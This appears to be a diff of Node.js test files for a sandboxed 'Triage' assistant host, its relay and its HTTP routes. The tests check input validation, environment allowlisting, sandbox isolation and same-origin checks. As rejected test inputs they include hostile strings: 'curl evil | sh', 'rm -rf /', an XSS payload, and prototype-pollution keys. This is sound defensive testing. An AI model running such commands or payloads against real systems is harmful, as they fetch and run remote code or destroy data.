assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null);
assert.equal(validateCard({ step: "bus-start" }, orgs), null);
assert.equal(validateCard(["bus-start", "alpha"], orgs), null);
assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null);
assert.equal(validateCard("bus-start alpha", orgs), null);
});
test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => {
const reply = [
"The alpha bus is stopped.",
fence([
{ step: "bus-start", org: "alpha" },
{ step: "bus-start", org: "gamma" },
{ step: "bus-wipe", org: "alpha" },
{ step: "bus-stop", org: "beta", command: "rm -rf /" },
{ step: "bus-start", org: "alpha" },
]),
"Then check its config.",
fence({ step: "org-config-validate", org: "alpha" }),
fence("not json {"),
].join("\n");
const out = extractCards(reply, orgs);
assert.deepEqual(out.cards, [
{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" },
{ step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" },
]);
assert.equal(out.dropped, 5);
assert.ok(!out.text.includes("```"));
assert.ok(!out.text.includes("rm -rf"));
assert.match(out.text, /The alpha bus is stopped\./);
});
test("no more than MAX_CARDS cards are kept", () => {
const many = [];
for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org });
const out = extractCards(fence(many), orgs);
assert.equal(out.cards.length, MAX_CARDS);
assert.equal(out.dropped, many.length - MAX_CARDS);
});
test("the explanation is plain text: no control or direction characters, clipped", () => {
assert.equal(plainText("a\u001b[31mred\u0007‮b\r\nc\td"), "a[31mredb\nc\td");
assert.equal(plainText("a\u061cb\u180ec\u2028d\u2029e\ufefff"), "abcdef");
assert.equal(plainText("x".repeat(9000)).length, 8000);
assert.equal(plainText(null), "");
assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 });
});
+372
View File
@@ -0,0 +1,372 @@
// #1873 triage-host: the Triage session's host and its relay. The relay answers only a message to
// the person; the session sees its own run directory and the health snapshots and nothing else of
// the data root; its environment is a fixed list; nothing launches without a model route or over
// the cap. The session runs the stub adapter (tests/fixtures/triage-adapter.mjs); no model is called.
import { test } from "node:test";
import assert from "node:assert/strict";
import { connect } from "node:net";
import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, symlinkSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { Client } from "../../bus/src/client.mjs";
import { sandboxProblem } from "../../seat/src/sandbox.mjs";
import {
NOT_STARTED, NOT_TAKEN, RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt, triageEnv,
} from "../src/triage-host.mjs";
const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname;
const skip = sandboxProblem() ?? false;
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "th-"));
const CAP = "a".repeat(64);
const SNAPSHOT = {
snapshotVersion: 1, at: "2026-11-16T12:00:00.000Z", console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
proxy: "not read", systemConfig: { valid: true, exit: 0, code: null },
organizations: { count: 1, list: [{ id: "alpha", bus: { state: "stopped", lastStart: null }, processing: "not read", config: { valid: true, exit: 0, code: null } }] },
};
// What the Console's own environment might hold: none of it but the allowed names may reach the session.
const CONSOLE_ENV = {
PATH: "/should/not/pass", LANG: "C.UTF-8", TZ: "UTC", HOME: "/home/someone", MOSAIC_CONFIG: "/x/config.json",
MOSAIC_BUS_CONSOLE_SOCKET: "/x/bus.sock", MOSAIC_GITEA_CREDENTIAL_FILE: "/x/cred", GITEA_TOKEN: "t", SSH_AUTH_SOCK: "/x/agent",
ANTHROPIC_API_KEY: "from-the-console", XDG_CONFIG_HOME: "/x", MOSAIC_DATA_ROOT: "/x",
};
const raw = (socket, line) => new Promise((resolve, reject) => {
const c = connect(socket);
let input = "";
c.on("connect", () => c.write(line + "\n"));
c.on("data", (b) => { input += b; });
c.on("end", () => resolve(JSON.parse(input)));
c.on("error", reject);
});
test("triageEnv keeps the fixed names and the route's proxy variables, and nothing else", () => {
const env = triageEnv(CONSOLE_ENV, { ANTHROPIC_BASE_URL: "http://127.0.0.1:1", ANTHROPIC_AUTH_TOKEN: "k", MOSAIC_CONFIG: "/y", OTHER: "z" }, { node: "/opt/node/bin/node" });
assert.deepEqual(Object.keys(env).sort(), ["ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "LANG", "PATH", "TZ"]);
assert.equal(env.PATH, "/opt/node/bin:/usr/bin:/bin");
assert.deepEqual(SPAWN_ENV_ALLOW, ["PATH", "LANG", "LC_ALL", "TZ", "TERM"]);
assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]);
assert.equal(triageEnv(CONSOLE_ENV, { ANTHROPIC_API_KEY: "from-the-route" }).ANTHROPIC_API_KEY, undefined, "the session gets no key, only the proxy's token");
assert.equal(triageEnv(CONSOLE_ENV).ANTHROPIC_API_KEY, undefined, "a key in the Console's environment is not the route's");
});
test("the relay refuses every verb but a message to the person, and any call without the capability", async (t) => {
const dir = scratch();
const socket = join(dir, "relay.sock");
const sent = [];
const queue = [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }];
const read = [];
const server = await createRelay({ socket, cap: CAP, take: () => queue.splice(0), read: (id) => read.push(id), onSend: (m) => sent.push(m) });
t.after(() => server.close());
const client = new Client({ path: socket, cap: CAP });
assert.deepEqual(await client.call("role.claim"), { library: false });
assert.deepEqual(await client.call("processing.status"), { halted: false, invalid: false });
assert.deepEqual((await client.call("state")).tasks, { open: [], total: 0, cap: 0 });
assert.deepEqual(await client.call("message.receive"), [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]);
assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-0123456789ab" })).id, /^triage-/);
await client.call("message.read", { id: "owner-0123456789ab" });
assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-0123456789ab" }]);
assert.deepEqual(read, ["owner-0123456789ab"]);
// The model writes in_reply_to. Anything but an id the host issued is dropped, never stored.
for (const bad of ["<img src=x onerror=1>", "owner-1", "owner-0123456789ab\u202e", "owner-0123456789abc", "x".repeat(60000)]) {
sent.length = 0;
await client.call("message.send", { to: "human", body: "b", in_reply_to: bad });
assert.deepEqual(sent, [{ body: "b", in_reply_to: null }], bad.slice(0, 24));
}
const refused = [
["decision.raise", { kind: "hire", body: "x" }], ["event.emit", { kind: "action.allowed", body: {} }],
["message.send", { to: "chief", body: "x", class: "INFO" }], ["message.send", { to: "pm", body: "x" }],
["message.send", { to: "human" }], ["task.create", { title: "x" }], ["launch", { instance: "chief" }],
["plugin.tool", {}], ["toString", {}], ["__proto__", {}], ["constructor", {}],
];
for (const [verb, args] of refused) {
await assert.rejects(client.call(verb, args), (e) => e.code === RELAY_REFUSED, verb);
}
await assert.rejects(new Client({ path: socket, cap: "b".repeat(64) }).call("message.send", { to: "human", body: "x" }), (e) => e.code === RELAY_REFUSED);
await assert.rejects(new Client({ path: socket, human: "jason" }).call("message.receive"), (e) => e.code === RELAY_REFUSED);
assert.deepEqual(await raw(socket, "not json"), { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" });
assert.equal((await raw(socket, JSON.stringify({ cap: CAP.toUpperCase(), verb: "role.claim" }))).error, RELAY_REFUSED);
assert.equal(sent.length, 1, "no refused call reached the transcript");
assert.equal(lstatSync(socket).mode & 0o777, 0o600);
});
test("the prompt names the snapshot inside the session and the card form, after the role's contract", () => {
const text = hostPrompt("# Triage\n\nContract.\n", { snapshotPath: "/r/work/health/snapshot.json", steps: ["bus-start"] });
assert.match(text, /^# Triage\n\nContract\.\n\n## This host/);
assert.match(text, /\/r\/work\/health\/snapshot\.json/);
assert.match(text, /```cards\n\[\{"step": "bus-start", "org": "alpha"\}\]\n```/);
});
function host(t, root, opts = {}) {
const dataRoot = join(root, "data");
const h = createTriageHost({ dataRoot, readSnapshot: async () => SNAPSHOT, env: CONSOLE_ENV, readOnly: [FIXTURE], pollInterval: 100, ...opts });
t.after(() => h.stop());
return { h, dataRoot };
}
test("no model route: nothing launches, the message is refused, and the state says the route is not set", async (t) => {
const { h, dataRoot } = host(t, scratch());
assert.equal((await h.state()).route, "not set");
await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route" && /no model route is set/.test(e.message));
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
assert.deepEqual((await h.state()).transcript, []);
});
test("over the cap: the message is refused until the next day and nothing launches", async (t) => {
let clock = Date.parse("2026-11-16T15:00:00.000Z"), asked = 0, answer = { ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" };
const route = { admit: async () => { asked++; return answer; } };
const { h, dataRoot } = host(t, scratch(), { route, now: () => new Date(clock) });
assert.equal((await h.state()).route, "set");
assert.equal((await h.state()).overCapUntil, null);
await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z");
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
assert.equal((await h.state()).overCapUntil, "2026-11-17T00:00:00.000Z");
// Held: a later route answer cannot reopen the day; the route is not asked again before the time.
answer = { ok: false, code: "triage-no-route" };
clock = Date.parse("2026-11-16T23:59:59.000Z");
await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z");
assert.equal(asked, 1);
// At the time, the hold ends and the route is asked again.
clock = Date.parse("2026-11-17T00:00:00.000Z");
assert.equal((await h.state()).overCapUntil, null);
await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route");
assert.equal(asked, 2);
assert.deepEqual((await h.state()).transcript, [], "a refused message is never written");
// An over-cap answer whose time is not usable (past, too far, not an ISO time) refuses without a hold.
for (const until of ["2026-11-17T00:00:00.000Z", "2026-11-20T00:00:00.000Z", "Tue, 17 Nov 2026 12:00:00 GMT", "tomorrow", 5]) {
let n = 0;
const r = { admit: async () => { n++; return { ok: false, code: "triage-over-cap", until }; } };
const later = host(t, scratch(), { route: r, now: () => new Date("2026-11-17T01:00:00.000Z") }).h;
await assert.rejects(later.message("a"), (e) => e.code === "triage-over-cap" && e.until === undefined, String(until));
await assert.rejects(later.message("b"), (e) => e.code === "triage-over-cap");
assert.equal(n, 2, `${until}: not held`);
assert.equal((await later.state()).overCapUntil, null);
}
const odd = { admit: async () => ({ ok: false, code: "rm -rf", until: 5 }) };
const other = host(t, scratch(), { route: odd }).h;
await assert.rejects(other.message("hello"), (e) => e.code === "triage-route-refused" && e.until === undefined);
});
test("a route whose answer carries a config, bus or founder variable is refused before anything starts", async (t) => {
for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "lower"]) {
const root = scratch();
const adapter = join(root, "adapter.sh");
writeFileSync(adapter, "exit 0\n");
const route = { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: { [name]: "x" }, harnessMounts: [], turnEnd: "exit", model: "m", provider: "p", env: {} }) };
const { h, dataRoot } = host(t, root, { route });
await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid", name);
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
// The owner's line is written before the start; the transcript then says it was not delivered.
const [owner, note, ...rest] = (await h.state()).transcript;
assert.deepEqual([owner.from, owner.text, note.from, note.in_reply_to, note.text, rest.length], ["owner", "hello", "host", owner.id, NOT_STARTED, 0], name);
}
});
test("a read and a message that arrive together share one snapshot read", async (t) => {
let reads = 0, release;
const gate = new Promise((r) => { release = r; });
const { h } = host(t, scratch(), { readSnapshot: async () => { reads++; await gate; return SNAPSHOT; } });
const both = Promise.all([h.refresh(), h.refresh()]);
release();
const [a, b] = await both;
assert.equal(reads, 1);
assert.equal(a, b);
await h.refresh();
assert.equal(reads, 2, "a later refresh reads again");
});
test("a Triage directory that is a link is refused", async (t) => {
const root = scratch();
const dataRoot = join(root, "data");
mkdirSync(join(root, "elsewhere"), { recursive: true });
mkdirSync(dataRoot);
symlinkSync(join(root, "elsewhere"), join(dataRoot, "triage"));
const route = { admit: async () => ({ ok: true }) };
const { h } = host(t, root, { route });
await assert.rejects(h.message("hello"), (e) => e.code === "triage-dir-unsafe");
assert.deepEqual(readdirSync(join(root, "elsewhere")), []);
});
async function waitFor(fn, ms = 30000) {
const end = Date.now() + ms;
while (Date.now() < end) {
const v = await fn();
if (v) return v;
await new Promise((r) => setTimeout(r, 50));
}
throw new Error("timed out");
}
test("end to end under the sandbox: the first message starts the session, which sees only its two directories and answers into the transcript", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const dataRoot = join(root, "data");
// What the session must not see: an org root, a config, a secrets file, the host's transcript.
mkdirSync(join(dataRoot, "orgs", "alpha"), { recursive: true });
writeFileSync(join(dataRoot, "orgs", "alpha", "org.json"), "{}");
mkdirSync(join(root, "config"));
writeFileSync(join(root, "config", "config.json"), "{}");
mkdirSync(join(root, "secrets"));
writeFileSync(join(root, "secrets", "token"), "secret");
// A link left where the host makes its work directory must not steer the bind.
mkdirSync(join(dataRoot, "triage", "agent"), { recursive: true, mode: 0o700 });
symlinkSync(join(dataRoot, "orgs"), join(dataRoot, "triage", "agent", "work"));
const adapter = join(root, "adapter.sh");
writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 });
const probe = [
join(dataRoot, "orgs", "alpha", "org.json"), join(root, "config", "config.json"), join(root, "secrets", "token"),
join(dataRoot, "triage", "host", "transcript.jsonl"), join(dataRoot, "triage", "host"),
join(dataRoot, "triage", "health", "snapshot.json"), join(dataRoot, "triage", "agent", "work", "health", "snapshot.json"),
];
let admits = 0;
const route = { admit: async () => { admits += 1; return { ok: true, adapter, harness: "fake", harnessEnv: { TRIAGE_PROBE: JSON.stringify(probe) }, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", OTHER: "x" } }; } };
const { h } = host(t, root, { route });
assert.equal(h.running, false, "nothing starts before the owner's first message");
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
const replies = async (n) => waitFor(async () => {
const list = (await h.state()).transcript.filter((e) => e.from === "triage");
return list.length >= n ? list : null;
});
await h.message("PROBE");
assert.equal(h.running, true);
const probed = JSON.parse((await replies(1))[0].text.replace(/\n\n.*$/s, ""));
const allowed = new Set([
"PATH", "LANG", "TZ", "HOME", "TMPDIR", "ANTHROPIC_BASE_URL", "TRIAGE_PROBE", "PWD", "SHLVL", "_", "OLDPWD",
"MOSAIC_REQUEST", "MOSAIC_SYSTEM_PROMPT_FILE", "MOSAIC_WORKSPACE", "MOSAIC_SESSION_DIR", "MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE",
"MOSAIC_TOOL_SOCKET", "MOSAIC_TURN_MARKER", "MOSAIC_PROVIDER", "MOSAIC_MODEL", "MOSAIC_MODEL_ACTIVITY_DIR", "MOSAIC_UNSLOP_LOG",
]);
for (const name of probed.env) assert.ok(allowed.has(name), `the session's environment holds ${name}`);
for (const name of ["MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "GITEA_TOKEN", "SSH_AUTH_SOCK", "ANTHROPIC_API_KEY", "OTHER", "MOSAIC_DATA_ROOT"]) assert.ok(!probed.env.includes(name), name);
assert.deepEqual(probed.seen, Object.fromEntries(probe.map((p) => [p, p.endsWith(join("work", "health", "snapshot.json"))])));
assert.equal(probed.snapshot, 1);
assert.equal(probed.writeHealth, "EROFS");
assert.equal(probed.writeBundle, "EROFS");
assert.equal(probed.writeWork, "written");
assert.deepEqual(readdirSync(join(dataRoot, "orgs")), ["alpha"], "the planted link's target is untouched");
assert.equal(lstatSync(join(dataRoot, "triage", "agent", "work")).isDirectory(), true);
assert.deepEqual(readdirSync(join(dataRoot, "triage", "health")), ["snapshot.json"]);
await h.message("CARDS");
const cards = (await replies(2))[1];
assert.deepEqual(cards.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }]);
assert.equal(cards.dropped, 1);
assert.match(cards.text, /^The alpha bus is stopped\./);
await h.message("TOOL chief");
assert.match((await replies(3))[2].text, new RegExp(RELAY_REFUSED));
await h.message("TOOL human");
const last = await replies(5);
const texts = last.slice(3).map((e) => e.text);
assert.ok(texts.includes("from the tool"), "the session's own send to the person reaches the transcript");
assert.ok(texts.some((x) => /"ok":true/.test(x)), "and the tool call was answered");
assert.equal(admits, 4, "each message is admitted by the route");
const tr = join(dataRoot, "triage", "host", "transcript.jsonl");
assert.equal(lstatSync(tr).mode & 0o777, 0o600);
for (const d of ["", "health", "agent", "host"]) assert.equal(lstatSync(join(dataRoot, "triage", d)).mode & 0o777, 0o700, d);
const owner = readFileSync(tr, "utf8").trim().split("\n").map((l) => JSON.parse(l)).filter((e) => e.from === "owner").map((e) => e.text);
assert.deepEqual(owner, ["PROBE", "CARDS", "TOOL chief", "TOOL human"]);
const tools = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "tools.json"), "utf8"));
assert.deepEqual(tools.map((x) => x.name), ["send_message"]);
const policy = JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "bundle", "policy.json"), "utf8"));
assert.deepEqual([policy.tools, policy.typed, policy.network, policy.needs, policy.credentials], [["read", "grep", "find", "ls"], ["send_message"], "none", [], []]);
await h.stop();
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false);
});
// A route answer that runs the stub adapter under the sandbox.
function stubRoute(root) {
const adapter = join(root, "adapter.sh");
writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 });
return { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: {} }) };
}
const repliesOf = (h, n, from = "triage") => waitFor(async () => {
const list = (await h.state()).transcript.filter((e) => e.from === from);
return list.length >= n ? list : null;
});
test("a second start on the same data root answers too: the last run's turns do not stop the next", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const route = stubRoute(root);
const first = host(t, root, { route }).h;
const one = await first.message("one");
assert.deepEqual((await repliesOf(first, 1)).map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id]]);
await first.stop();
assert.equal(first.running, false);
const { h: second, dataRoot } = host(t, root, { route });
const two = await second.message("two");
const list = await repliesOf(second, 2);
assert.deepEqual(list.map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id], ["echo: two", two.id]]);
assert.equal((await second.state()).transcript.filter((e) => e.from === "host").length, 0);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "turns")), true);
});
test("a session that ends mid-turn: the message it took is answered by the host, leaves the queue, and the next message is answered", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h, dataRoot } = host(t, root, { route: stubRoute(root) });
const slept = await h.message("SLEEP");
// The turn has started once the runner made its turns directory.
await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } });
const pid = h.pid;
assert.ok(Number.isInteger(pid));
process.kill(-pid, "SIGKILL");
const [note] = await repliesOf(h, 1, "host");
assert.deepEqual([note.in_reply_to, note.text], [slept.id, UNANSWERED]);
await waitFor(() => !h.running);
assert.equal((await h.state()).lastExit.signal, "SIGKILL");
const next = await h.message("after");
const [reply] = await repliesOf(h, 1);
assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["echo: after", next.id]);
assert.equal((await h.state()).transcript.filter((e) => e.from === "host").length, 1, "the killed message is answered once and not taken again");
});
test("a launcher that cannot run is a failed start: the message is not delivered, nothing reports running, and the next message is refused the same way", async (t) => {
const root = scratch();
const adapter = join(root, "adapter.sh");
writeFileSync(adapter, "exit 0\n");
const route = { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "m", provider: "p", env: {} }) };
const { h, dataRoot } = host(t, root, { route, bwrap: join(root, "no-such-launcher") });
for (const text of ["one", "two"]) {
await assert.rejects(h.message(text), (e) => e.code === "triage-start-failed", text);
assert.equal(h.running, false, text);
}
const lines = (await h.state()).transcript.map((e) => [e.from, e.text]);
assert.deepEqual(lines, [["owner", "one"], ["host", NOT_STARTED], ["owner", "two"], ["host", NOT_STARTED]]);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false);
});
test("a reply that names its message answers it: a session killed after replying leaves no unanswered line", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h } = host(t, root, { route: stubRoute(root) });
const sent = await h.message("REPLY-SLEEP");
const [reply] = await repliesOf(h, 1);
assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["answered early", sent.id]);
process.kill(-h.pid, "SIGKILL");
await waitFor(() => !h.running);
assert.deepEqual((await h.state()).transcript.filter((e) => e.from === "host"), []);
});
test("a message the session never read gets a host line when it ends and leaves the queue", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h, dataRoot } = host(t, root, { route: stubRoute(root) });
const slept = await h.message("SLEEP");
await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } });
// The runner takes one message per turn and is held in SLEEP, so this one is queued and never taken.
const waiting = await h.message("waiting");
process.kill(-h.pid, "SIGKILL");
await waitFor(() => !h.running);
const notes = (await repliesOf(h, 2, "host")).map((e) => [e.in_reply_to, e.text]).sort((a, b) => a[1].localeCompare(b[1]));
assert.deepEqual(notes, [[waiting.id, NOT_TAKEN], [slept.id, UNANSWERED]].sort((a, b) => a[1].localeCompare(b[1])));
});
test("with devOwner set, a card's bus start carries the dev-owner flag", { skip, timeout: 120000 }, async (t) => {
const root = scratch();
const { h } = host(t, root, { route: stubRoute(root), devOwner: true });
await h.message("CARDS");
const [reply] = await repliesOf(h, 1);
assert.deepEqual(reply.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --dev-local-owner --detach" }]);
});
+262
View File
@@ -0,0 +1,262 @@
// #1873 triage-host: the Triage routes over the real HTTP boundary. Only the instance owner's own
// session reaches them; every other caller gets exactly what an unknown route gives that caller.
// The write also needs --send and the same-origin checks. No body, path or exception text leaves.
import test from 'node:test';
import assert from 'node:assert/strict';
import { request } from 'node:http';
import { mkdtempSync, existsSync, readFileSync } from 'node:fs';
import { join } from 'node:path';
import { startServer } from '../src/serve.mjs';
import { createDevOwner } from '../src/dev-owner.mjs';
import { consoleAccess } from '../src/access.mjs';
import { createSsoSession } from './helpers/sso-session.mjs';
import { NO_ROUTE_MESSAGE, capMessage, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs';
import { createTriageHost, TriageError } from '../src/triage-host.mjs';
const LEAK = '/home/owner/.config/mosaic-dev/secret-token-0123456789';
function fakeTriage({ message } = {}) {
const calls = [];
return {
calls,
snapshotAt: () => null,
refresh: async () => { calls.push(['refresh']); return null; },
state: async () => ({ route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }] }),
message: async text => { calls.push(['message', text]); return message ? message(text) : { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }; },
};
}
const send = (port, path, { method = 'GET', headers = {}, body } = {}) => new Promise((resolve, reject) => {
const req = request({ host: '127.0.0.1', port, path, method, headers }, res => {
let text = ''; res.on('data', c => { text += c; }); res.on('end', () => resolve({ status: res.statusCode, text, json: (() => { try { return JSON.parse(text); } catch { return null; } })() }));
});
req.on('error', reject); req.end(body === undefined ? undefined : typeof body === 'string' ? body : JSON.stringify(body));
});
async function devServer(t, options = {}) {
const logs = [];
const s = await startServer({ port: 0, board: 'http://127.0.0.1:9', sso: createDevOwner(), send: async () => ({}), log: line => logs.push(line), ...options });
t.after(() => new Promise(r => s.close(r)));
const port = s.address().port;
const headers = { host: `127.0.0.1:${port}`, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
return { port, logs, headers };
}
// The same request on an unknown path next to the Triage one: status and body must match.
async function sameAsUnknown(port, path, method, headers, body, label) {
const unknown = path.replace('/api/triage', '/api/triagz');
const [a, b] = [await send(port, path, { method, headers, body }), await send(port, unknown, { method, headers, body })];
assert.equal(a.status, b.status, `${label} ${method} ${path}: status`);
assert.equal(a.text, b.text, `${label} ${method} ${path}: body`);
}
const EVERY = [['/api/triage', 'GET'], ['/api/triage', 'POST'], ['/api/triage/message', 'GET'], ['/api/triage/message', 'POST']];
test('the dev local owner reads the drawer state and sends a message; the config names the drawer', async t => {
const triage = fakeTriage();
const f = await devServer(t, { triage });
const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.equal(read.status, 200);
assert.deepEqual(read.json, { route: 'set', overCapUntil: null, running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true });
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'why is alpha down?' } });
assert.equal(sent.status, 202);
assert.deepEqual(sent.json, { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' });
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), [['message', 'why is alpha down?']]);
const config = await send(f.port, '/api/config', { headers: { host: f.headers.host } });
assert.equal(config.json.triage, true);
assert.equal(config.json.triageSend, true);
assert.equal(f.logs.join('\n').includes('why is alpha down'), false, 'no message text in a log line');
for (const line of f.logs.filter(l => l.includes('/api/triage'))) assert.match(line, /^\S+ (GET|POST) \/api\/triage(\/message)? \d{3}$/);
// A wrong method on either route.
assert.equal((await send(f.port, '/api/triage', { method: 'POST', headers: f.headers, body: {} })).status, 405);
assert.equal((await send(f.port, '/api/triage/message', { headers: { host: f.headers.host } })).status, 405);
});
test('the write is refused without --send, from a foreign Origin, and without same-origin Fetch Metadata', async t => {
const triage = fakeTriage();
const readOnly = await devServer(t, { triage, send: null });
const r = await send(readOnly.port, '/api/triage/message', { method: 'POST', headers: readOnly.headers, body: { text: 'hi' } });
assert.equal(r.status, 403); assert.deepEqual(r.json, { error: 'read-only' });
assert.equal((await send(readOnly.port, '/api/triage', { headers: { host: readOnly.headers.host } })).json.send, false);
assert.equal((await send(readOnly.port, '/api/config', { headers: { host: readOnly.headers.host } })).json.triageSend, false);
const f = await devServer(t, { triage });
assert.equal((await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, origin: 'http://evil.example' }, body: { text: 'hi' } })).status, 403);
const crossSite = await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, 'sec-fetch-site': 'cross-site' }, body: { text: 'hi' } });
assert.deepEqual([crossSite.status, crossSite.json], [403, { error: 'cross-site request refused' }]);
const noMeta = { ...f.headers }; delete noMeta['sec-fetch-site'];
const missing = await send(f.port, '/api/triage/message', { method: 'POST', headers: noMeta, body: { text: 'hi' } });
assert.deepEqual([missing.status, missing.json], [403, { error: 'cross-site request refused' }]);
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []);
});
test('a malformed body is refused before the host sees it; the host refusals map to fixed answers with no leaked text', async t => {
let next = null;
const triage = fakeTriage({ message: () => { throw next; } });
const f = await devServer(t, { triage });
const post = (body, headers = f.headers) => send(f.port, '/api/triage/message', { method: 'POST', headers, body });
for (const body of [{ text: 'hi', extra: 1 }, { text: 5 }, {}, [], '{"text":', `{"text":"${'x'.repeat(17000)}"}`])
assert.deepEqual((await post(body)).json, { error: 'invalid-request', message: 'the request is not a Triage message' }, JSON.stringify(body).slice(0, 40));
assert.equal((await post({ text: 'hi' }, { ...f.headers, 'content-type': 'text/plain' })).status, 400);
assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []);
next = Object.assign(new TriageError('triage-over-cap', LEAK), { until: '2026-11-17T00:00:00.000Z' });
const cap = await post({ text: 'hi' });
assert.deepEqual([cap.status, cap.json], [429, { error: 'triage-over-cap', message: 'Triage is over its daily token cap and starts again after the time shown', until: '2026-11-17T00:00:00.000Z' }]);
next = new TriageError('triage-no-route', LEAK);
const none = await post({ text: 'hi' });
assert.deepEqual([none.status, none.json], [409, { error: 'triage-no-route', message: NO_ROUTE_MESSAGE }]);
next = new TriageError('triage-message-too-long', LEAK);
assert.equal((await post({ text: 'hi' })).status, 400);
next = new TriageError('triage-busy', LEAK);
assert.equal((await post({ text: 'hi' })).status, 429);
next = Object.assign(new Error(LEAK), { code: 'EACCES' });
const odd = await post({ text: 'hi' });
assert.deepEqual([odd.status, odd.json], [503, { error: 'outcome-unknown', message: 'Triage did not answer' }]);
for (const r of [cap, none, odd]) assert.equal(r.text.includes('/home/'), false);
assert.equal(f.logs.join('\n').includes('/home/'), false);
});
test('a signed-out caller and a granted user get the unknown-route answer on both routes', async t => {
const access = { accessVersion: 1, revision: 1,
users: [{ id: 'alice', home: 'local', subjects: [{ provider: 'writer', sub: 'alice-sub' }] }],
grants: [{ id: 'g-1', user: 'alice', business: 'demo', projects: ['*'], instances: ['*'], level: 'collaborator' }] };
const auth = await createSsoSession(t, { host: 'console.example', users: consoleAccess({ load: () => access, business: () => 'demo' }) });
